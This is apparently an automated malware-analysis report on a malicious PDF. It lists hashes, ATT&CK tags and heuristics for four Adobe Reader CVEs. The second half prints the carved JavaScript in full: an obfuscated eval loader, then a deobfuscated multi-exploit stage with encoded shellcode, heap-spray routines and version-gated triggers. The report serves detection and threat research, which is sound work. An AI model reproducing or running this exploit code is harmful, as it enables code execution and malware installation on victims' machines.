Malicious PDF — malware analysis report

Static analysis result for SHA-256 75c6e515d7578b4b…

MALICIOUS

PDF

44.7 KB
MD5: d3c8cc50334310736e2e5903d31833bf SHA-1: 22e5350271ca767d11f48f8264ef388c3a64e464 SHA-256: 75c6e515d7578b4bf62fe94b7dcd42847ebdb5926db7fb2560f79912f499ffde
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates an attempt to spray the heap and execute shellcode, likely leading to the download and execution of a secondary payload. The ML classifier also strongly flagged this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
fe40545c3046d791d655902af4f9027ec7c92aa717c78a73645b0cc70e892311		 pdf-javascript-stream PDF /JS object 1 at offset 0xAFC6 558 bytes
Preview script
First 1,000 lines of the extracted script
nwelx='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('nhsthn','ntrht')[v+'r'];
g = qwe();
t='le';
a=["e","a","n","b","w",'v','r'];
e=g[a[0]+a[5]+a[1]+('q',t[v+'r'](0,1))];
e('ytgv=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
s=ytgv[v+a[6]](10,4) + 'tr';
ghno=e('String.fro'+ytgv[s](1,9));
q=ytgv[ytgv[v+'r'](10,4) + 'tr'](14);
bpvl = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=bpvl.length');
for (i = 0; i < k; i+=2) {
	vspy = bpvl[i+1] + ('erybjkerl',bpvl[i]);
	nwelx += ghno(vspy);
}
e(nwelx);
legacy_pdfkit_stage_000.js
c9569f9c671b665373eeb209a848ea6a13938c13430366ae976c0f082a26b47e		 deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3636 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u9334%ue2aa%uc3fa%ue5e8%uffff%u7aff%u929f%u9393%u12cd%ucf7f%u9392%u1a93%u1e74%u83dc%ufc1e%ua2c7%uc448%uc0c2%uc0c0%uc0c0%uc0c0%uc0c6%ufbc0%u9297%u9393%uc5c6%ufbc0%ufdfc%u9393%ue6fb%uffe1%uc7fe%u1dfb%u9ddd%u7b7f%u93db%u9393%u7bc3%u93ef%u9393%u436c%u5710%ufb9b%u7cdc%u96dc%u7bc3%u93ff%u9393%u436c%u5316%u84e6%uc7f9%u60ca%ufb39%u6de1%u8520%u8e7b%u9393%uc393%uc27b%u9393%u6c93%uc043%u6df9%u1afb%u92fc%u7b2e%u939b%u9393%u7bc3%u93af%u9393%u436c%ua2f3%uf753%uc318%u18a3%u9fc1%uc118%u1887%ubbe1%u8b2a%u9393%ua293%ua26c%u3f53%uf2af%u91ef%ub3bf%u5c52%u929e%u7154%u1263%uc86c%ud92f%u18f9%u83d1%u8118%u4ae6%ud71a%u8fb7%u50f2%u18f3%ub7ff%u18b7%uafd6%uc718%ueb96%u7992%ud918%u188b%ub3c9%u7892%ua770%u18da%u18a7%u7d92%u6ca2%u53a2%u3f6f%u5317%u94e7%u5c52%u929e%u7854%ua867%ub7ef%ue6bb%u1872%ub7c9%u7892%u18f5%ud89f%uc918%u928f%u1878%u1897%u7b92%ud71a%u8fb7%u51f2%u939b%u7c7b%u6c6d%ufb6c%ue7e7%ua9e3%ubcbc%uf6e5%ueae5%uf0bd%ubdfc%uf0f0%ufcbc%ue3bd%ue3fb%uf5ac%ua1ae%ub5a2%uaef6%u93a6';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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